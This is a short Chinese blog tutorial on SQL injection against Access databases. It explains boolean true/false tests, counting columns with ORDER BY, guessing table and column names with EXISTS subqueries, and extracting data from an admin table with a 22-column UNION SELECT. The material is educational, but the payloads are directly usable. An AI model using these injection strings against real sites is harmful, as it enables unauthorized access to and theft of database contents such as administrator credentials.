Access数据库注入

表-字段-数据:
判断注入:

and 1=1
and 1=2

查询语句:

select * from new where id=14 and 1=1 //条件为真 返回正常
select * from new where id=14 and 1=2 //条件为假 返回错误

select * from new where id=14 or 1=1 //永真条件会返回数据库中全部结果
select * from new where id=14 or 1=2 //返回id为14的结果

猜解字段:

order by 22 #

说明:这里判断出来的字段是当前页面所连接的表的字段个数;准确的说是当前页面SQL语句查询数据库里的字段个数,例如select * from news猜出的字段数就是news表中所有字段个数。
order by 是按照字段数据进行排序,用法为:order by 字段名,之所以能用来判断字段个数是因为,order by 1 <==> 按第一个字段排序,如果查询结果中一共22个字段order by 23就会出错。

注意:从url上难以分辨当前的数据表是哪一个,但是存在注入的地方都支持查询其他表以及管理员表的数据。

union select:
原理:UNION是联合查询,将前后两条查询语句的结果组和到一起返回。SELECT后面的数字只是为了占位置,因为两条查询结果字段数不同的话会出错不会正常返回。
利用回显的数字,继续深入查询自己想要的数据。


测试存在注入点之后的操作:
猜测表名:

and exists (select * from 表名) //数据库里面存在的表名就返回正常,不存在则返回错误,这个只能凭经验或者暴力猜解

猜列名称:

and exists (select 列名 from 表名) 

利用union查询数据:

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

 

posted @ 2019-09-11 09:36  逍遥人y  阅读(266)  评论(0编辑  收藏  举报